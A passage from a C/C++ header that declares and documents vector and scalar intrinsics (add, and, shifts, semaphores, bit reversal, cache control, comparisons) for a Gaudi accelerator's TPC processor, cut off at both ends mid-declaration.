s_u32_add(uint32_t a, uint32_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_add(int16_t a, int16_t b, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_add(uint16_t a, uint16_t b, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_add(int8_t a, int8_t b, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_add(uint8_t a, uint8_t b, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_add_vb(float64 a, float64 b, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_add_b(float64 a, float64 b, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_add_vb(bfloat128 a, bfloat128 b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_add_b(bfloat128 a, bfloat128 b, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_add_vb(int64 a, int64 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_add_b(int64 a, int64 b, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_add_vb(uint64 a, uint64 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_add_b(uint64 a, uint64 b, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_add_vb(short128 a, short128 b, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_add_b(short128 a, short128 b, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_add_vb(ushort128 a, ushort128 b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_add_b(ushort128 a, ushort128 b, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_add_vb(char256 a, char256 b, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_add_b(char256 a, char256 b, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_add_vb(uchar256 a, uchar256 b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_add_b(uchar256 a, uchar256 b, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n/// @brief Represents scalar ADD instruction for integer operands in index registers.\n///\n/// @param a The first SRC operand to ADD (SRC1).\n/// @param b The second SRC operand to ADD (SRC2).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of ADD instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of ADD operation between \\p a and \\p b.\n///\n/// @{\nint5 i_i32_add(int5 a, int5 b, const int dimmask, int switches, int5 income, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ AND\n//\n\n/// @brief Represents AND instruction.\n///\n/// @param a The first SRC operand to AND (SRC1).\n/// @param b The second SRC operand to AND (SRC2).\n/// @param switches Switches of AND instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of AND operation between \\p a and \\p b.\n///\n///\n/// @{\nfloat s_f32_and(float a, float b, int switches=0, float income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbf16 s_bf16_and(bf16 a, bf16 b, int switches=0, bf16 income={}, bool predicate=1, bool polarity=0);\n#endif\nint32_t s_i32_and(int32_t a, int32_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_and(uint32_t a, uint32_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_and(int16_t a, int16_t b, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_and(uint16_t a, uint16_t b, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_and(int8_t a, int8_t b, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_and(uint8_t a, uint8_t b, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nbool s_i1_and(bool a, bool b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_and_vb(float64 a, float64 b, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_and_b(float64 a, float64 b, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_and_vb(bfloat128 a, bfloat128 b, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_and_b(bfloat128 a, bfloat128 b, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_and_vb(int64 a, int64 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_and_b(int64 a, int64 b, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_and_vb(uint64 a, uint64 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_and_b(uint64 a, uint64 b, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_and_vb(short128 a, short128 b, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_and_b(short128 a, short128 b, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_and_vb(ushort128 a, ushort128 b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_and_b(ushort128 a, ushort128 b, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_and_vb(char256 a, char256 b, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_and_b(char256 a, char256 b, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_and_vb(uchar256 a, uchar256 b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_and_b(uchar256 a, uchar256 b, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_and_b(bool256 a, bool256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_and_vb(bool256 a, bool256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n/// @brief Represents AND instruction for int5.\n///\n/// @param a The first SRC operand to AND (SRC1).\n/// @param b The second SRC operand to AND (SRC2).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of AND instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of AND operation between \\p a and \\p b.\n///\n/// @{\nint5 i_i32_and(int5 a, int5 b, const int dimmask, int switches, int5 income, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ ASH\n//\n\n/// @brief Represents ASH instruction.\n///\n/// @param a The value to shift (SRC1).\n/// @param b The number of bits to shift (SRC2).\n/// @param switches Switches of ASH instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation - \\c DEST=a*(2^b).\n///\n/// \\par Allowed switches are:\n/// \\li SW_SAT - Saturate (should always be set, left shift saturation is enabled by default).\n/// \\li SW_RHU - Round half up.\n///\n/// @{\nint32_t s_i32_ash(int32_t a, int8_t b, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_ash(uint32_t a, int8_t b, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_ash(int16_t a, int8_t b, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_ash(uint16_t a, int8_t b, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_ash(int8_t a, int8_t b, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_ash(uint8_t a, int8_t b, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_ash_b(int64 a, char256 b, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_ash_vb(int64 a, char256 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_ash_b(uint64 a, char256 b, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_ash_vb(uint64 a, char256 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_ash_b(short128 a, char256 b, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_ash_vb(short128 a, char256 b, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_ash_b(ushort128 a, char256 b, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_ash_vb(ushort128 a, char256 b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_ash_b(char256 a, char256 b, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_ash_vb(char256 a, char256 b, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_ash_b(uchar256 a, char256 b, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_ash_vb(uchar256 a, char256 b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n//\n// ------ ASO\n//\n\n/// @brief Represents ASO instruction - Atomic semaphore operation.\n///\n/// @param switches Switches of ASO instructions.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n/// \\par Allowed switches are:\n/// \\li SW_INC - Increment the semaphore value once all older writes to memory are observable.\n#if defined(__gaudi_plus__)\n/// \\li SW_DEC - Decrement the semaphore value once all older writes to memory are observable.\n#endif\n/// \\li SW_SPU - Semaphore update is done in SPU stage.\n/// \\li SW_VPU - Semaphore update is done in VPU stage.\n///\n/// @{\nvoid aso(int switches=0, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ BREV\n//\n\n#if defined(__gaudi_plus__)\n/// @brief Represents BREV instruction.\n///\n/// @param a The source operand (SRC1).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return The source operand bits in reversed order.\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nuint32_t s_f32_brev(float a, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_bf16_brev(bf16 a, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint32_t s_i32_brev(int32_t a, int switches=0, int32_t income={}, bool predicate=1, bool polarity=0);\nuint32_t s_u32_brev(uint32_t a, int switches=0, uint32_t income={}, bool predicate=1, bool polarity=0);\nint16_t s_i16_brev(int16_t a, int switches=0, int16_t income={}, bool predicate=1, bool polarity=0);\nuint16_t s_u16_brev(uint16_t a, int switches=0, uint16_t income={}, bool predicate=1, bool polarity=0);\nint8_t s_i8_brev(int8_t a, int switches=0, int8_t income={}, bool predicate=1, bool polarity=0);\nuint8_t s_u8_brev(uint8_t a, int switches=0, uint8_t income={}, bool predicate=1, bool polarity=0);\n#endif\n#if defined(__gaudi_plus__)\nuint64 v_f32_brev_b(float64 a, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_f32_brev_vb(float64 a, int switches, uint64 income, bool64 predicate, bool polarity=0);\nushort128 v_bf16_brev_b(bfloat128 a, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_bf16_brev_vb(bfloat128 a, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nint64 v_i32_brev_b(int64 a, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_brev_vb(int64 a, int switches, int64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_brev_b(uint64 a, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_brev_vb(uint64 a, int switches, uint64 income, bool64 predicate, bool polarity=0);\nshort128 v_i16_brev_b(short128 a, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_brev_vb(short128 a, int switches, short128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_brev_b(ushort128 a, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_brev_vb(ushort128 a, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nchar256 v_i8_brev_b(char256 a, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_brev_vb(char256 a, int switches, char256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_brev_b(uchar256 a, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_brev_vb(uchar256 a, int switches, uchar256 income, bool256 predicate, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ CACHE_FLUSH\n//\n\n/// @brief Represents CACHE_FLUSH instruction - Flush the Data-cache.\n///\n/// @param switches Switches of the instructions.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n/// @{\nvoid cache_flush(int switches=0, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ CACHE_INVALIDATE\n//\n\n/// @brief Represents CACHE_INVALIDATE instruction - Invalidate Data/LUT/SB cache\n///\n/// @param switches Switches of the instructions.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n///\n///\n/// @{\nvoid cache_invalidate(int switches=0, bool predicate=1, bool polarity=0);\n/// @}\n\n\n//\n// ------ CALC_FP_SPECIAL\n//\n\n#if defined(__gaudi_plus__)\n/// @brief Represents CALC_FP_SPECIAL instruction.\n///\n/// @param src1 The first operand (SRC1).\n/// @param src2 The second SRC operand (SRC2). \\n\n/// For unary functions it is ignored and may be of any value, for instance, zero. \\n\n/// \\p src1 and \\p src2 are 8/10bit-masks format (vector or scalar) representing the \\n\n/// class of the operands - returned value of FCLASS instruction.\n/// @param switches Code of the function.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Calculate the choosen function for all special class elements. \\n\n/// (for non special class elements returns income).\n///\n/// \\par Allowed switches are:\n/// - [SPECIAL_FUNC]\n/// \\li SW_RECIP - reciprocal - \\c 1/x\n/// \\li SW_RSQRT - reciprocal square root of x\n/// \\li SW_SQRT - square root of x\n/// \\li SW_LOG - logarithm of x\n/// \\li SW_EXP - exponent - \\c e^x\n/// \\li SW_TANH - hyperbolic tangent of x\n/// \\li SW_DIV - divide - \\c x/y\n/// \\li SW_POW - power - \\c x^y\n///\n#endif\n/// @{\n#if defined(__gaudi_plus__)\nfloat s_f32_calc_fp_special(float src1, float src2, int switches, float income, bool predicate=1, bool polarity=0);\nbf16 s_bf16_calc_fp_special(bf16 src1, bf16 src2, int switches, bf16 income, bool predicate=1, bool polarity=0);\nfloat64 v_f32_calc_fp_special_b(float64 src1, float64 src2, int switches, float64 income, bool predicate=1, bool polarity=0);\nfloat64 v_f32_calc_fp_special_vb(float64 src1, float64 src2, int switches, float64 income, bool64 predicate, bool polarity=0);\nbfloat128 v_bf16_calc_fp_special_b(bfloat128 src1, bfloat128 src2, int switches, bfloat128 income, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_calc_fp_special_vb(bfloat128 src1, bfloat128 src2, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\n#endif\n/// @}\n\n\n//\n// ------ CMP_EQ\n//\n\n/// @brief Represents CMP_EQ instruction.\n///\n/// @param a The first SRC operand (SRC1).\n/// @param b The second SRC operand (SRC2).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Boolean result of comparison - \\c a==b (scalar or vector).\n///\n#if defined(__gaudi_plus__)\n/// \\par Allowed switches are:\n/// \\li SW_MASK_EQ_ZERO - Compare between (a & b) and 0.\n#endif\n///\n/// @{\nbool s_f32_cmp_eq(float a, float b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool s_bf16_cmp_eq(bf16 a, bf16 b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#endif\nbool s_i32_cmp_eq(int32_t a, int32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u32_cmp_eq(uint32_t a, uint32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i16_cmp_eq(int16_t a, int16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u16_cmp_eq(uint16_t a, uint16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i8_cmp_eq(int8_t a, int8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u8_cmp_eq(uint8_t a, uint8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n\nbool64 v_f32_cmp_eq_vb(float64 a, float64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_f32_cmp_eq_b(float64 a, float64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool128 v_bf16_cmp_eq_vb(bfloat128 a, bfloat128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_bf16_cmp_eq_b(bfloat128 a, bfloat128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\n#endif\nbool64 v_i32_cmp_eq_vb(int64 a, int64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_i32_cmp_eq_b(int64 a, int64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool64 v_u32_cmp_eq_vb(uint64 a, uint64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_u32_cmp_eq_b(uint64 a, uint64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool128 v_i16_cmp_eq_vb(short128 a, short128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_i16_cmp_eq_b(short128 a, short128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool128 v_u16_cmp_eq_vb(ushort128 a, ushort128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_u16_cmp_eq_b(ushort128 a, ushort128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i8_cmp_eq_vb(char256 a, char256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_i8_cmp_eq_b(char256 a, char256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_u8_cmp_eq_vb(uchar256 a, uchar256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_u8_cmp_eq_b(uchar256 a, uchar256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n//\n// ------ CMP_GEQ\n//\n\n\n/// @brief Represents CMP_GEQ instruction.\n///\n/// @param a The first SRC operand (SRC1).\n/// @param b The second SRC operand (SRC2).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Boolean result of comparison - \\c a>=b (scalar or vector).\n///\n/// @{\nbool s_f32_cmp_geq(float a, float b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool s_bf16_cmp_geq(bf16 a, bf16 b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#endif\nbool s_i32_cmp_geq(int32_t a, int32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u32_cmp_geq(uint32_t a, uint32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i16_cmp_geq(int16_t a, int16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u16_cmp_geq(uint16_t a, uint16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i8_cmp_geq(int8_t a, int8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u8_cmp_geq(uint8_t a, uint8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n\nbool64 v_f32_cmp_geq_vb(float64 a, float64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_f32_cmp_geq_b(float64 a, float64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool128 v_bf16_cmp_geq_vb(bfloat128 a, bfloat128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_bf16_cmp_geq_b(bfloat128 a, bfloat128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\n#endif\nbool64 v_i32_cmp_geq_vb(int64 a, int64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_i32_cmp_geq_b(int64 a, int64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool64 v_u32_cmp_geq_vb(uint64 a, uint64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_u32_cmp_geq_b(uint64 a, uint64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool128 v_i16_cmp_geq_vb(short128 a, short128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_i16_cmp_geq_b(short128 a, short128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool128 v_u16_cmp_geq_vb(ushort128 a, ushort128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_u16_cmp_geq_b(ushort128 a, ushort128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i8_cmp_geq_vb(char256 a, char256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_i8_cmp_geq_b(char256 a, char256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_u8_cmp_geq_vb(uchar256 a, uchar256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_u8_cmp_geq_b(uchar256 a, uchar256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n//\n// ------ CMP_GRT\n//\n\n\n/// @brief Represents CMP_GRT instruction.\n///\n/// @param a The first SRC operand (SRC1).\n/// @param b The second SRC operand (SRC2).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Boolean result of comparison - \\c a>b (scalar or vector).\n///\n/// @{\nbool s_f32_cmp_grt(float a, float b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool s_bf16_cmp_grt(bf16 a, bf16 b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#endif\nbool s_i32_cmp_grt(int32_t a, int32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u32_cmp_grt(uint32_t a, uint32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i16_cmp_grt(int16_t a, int16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u16_cmp_grt(uint16_t a, uint16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i8_cmp_grt(int8_t a, int8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u8_cmp_grt(uint8_t a, uint8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n\nbool64 v_f32_cmp_grt_vb(float64 a, float64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_f32_cmp_grt_b(float64 a, float64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool128 v_bf16_cmp_grt_vb(bfloat128 a, bfloat128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_bf16_cmp_grt_b(bfloat128 a, bfloat128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\n#endif\nbool64 v_i32_cmp_grt_vb(int64 a, int64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_i32_cmp_grt_b(int64 a, int64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool64 v_u32_cmp_grt_vb(uint64 a, uint64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_u32_cmp_grt_b(uint64 a, uint64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool128 v_i16_cmp_grt_vb(short128 a, short128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_i16_cmp_grt_b(short128 a, short128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool128 v_u16_cmp_grt_vb(ushort128 a, ushort128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_u16_cmp_grt_b(ushort128 a, ushort128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i8_cmp_grt_vb(char256 a, char256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_i8_cmp_grt_b(char256 a, char256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_u8_cmp_grt_vb(uchar256 a, uchar256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_u8_cmp_grt_b(uchar256 a, uchar256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n//\n// ------ CMP_LEQ\n//\n\n\n/// @brief Represents CMP_LEQ instruction.\n///\n/// @param a The first SRC operand (SRC1).\n/// @param b The second SRC operand (SRC2).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Boolean result of comparison - \\c a<=b (scalar or vector).\n///\n/// @{\nbool s_f32_cmp_leq(float a, float b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool s_bf16_cmp_leq(bf16 a, bf16 b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#endif\n\nbool s_i32_cmp_leq(int32_t a, int32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u32_cmp_leq(uint32_t a, uint32_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i16_cmp_leq(int16_t a, int16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u16_cmp_leq(uint16_t a, uint16_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_i8_cmp_leq(int8_t a, int8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\nbool s_u8_cmp_leq(uint8_t a, uint8_t b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n\nbool64 v_f32_cmp_leq_vb(float64 a, float64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_f32_cmp_leq_b(float64 a, float64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool128 v_bf16_cmp_leq_vb(bfloat128 a, bfloat128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_bf16_cmp_leq_b(bfloat128 a, bfloat128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\n#endif\nbool64 v_i32_cmp_leq_vb(int64 a, int64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_i32_cmp_leq_b(int64 a, int64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool64 v_u32_cmp_leq_vb(uint64 a, uint64 b, int switches, bool64 income, bool64 predicate, bool polarity=0);\nbool64 v_u32_cmp_leq_b(uint64 a, uint64 b, int switches=0, bool64 income={}, bool predicate=1, bool polarity=0);\nbool128 v_i16_cmp_leq_vb(short128 a, short128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_i16_cmp_leq_b(short128 a, short128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool128 v_u16_cmp_leq_vb(ushort128 a, ushort128 b, int switches, bool128 income, bool128 predicate, bool polarity=0);\nbool128 v_u16_cmp_leq_b(ushort128 a, ushort128 b, int switches=0, bool128 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i8_cmp_leq_vb(char256 a, char256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_i8_cmp_leq_b(char256 a, char256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_u8_cmp_leq_vb(uchar256 a, uchar256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\nbool256 v_u8_cmp_leq_b(uchar256 a, uchar256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\n/// @}\n\n//\n// ------ CMP_LESS\n//\n\n\n/// @brief Represents CMP_LESS instruction.\n///\n/// @param a The first SRC operand (SRC1).\n/// @param b The second SRC operand (SRC2).\n/// @param switches Switches of the instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Boolean result of comparison - \\c a<b (scalar or vector).\n///\n/// @{\nbool s_f32_cmp_less(float a, float b, int switches=0, bool income={}, bool predicate=1, bool polarity=0);\n#if defined(__gaudi_plus__)\nbool s_bf16_cmp_less(bf16 a, bf16 b, int switches=0, bool income={}, bool predicate=1, bool 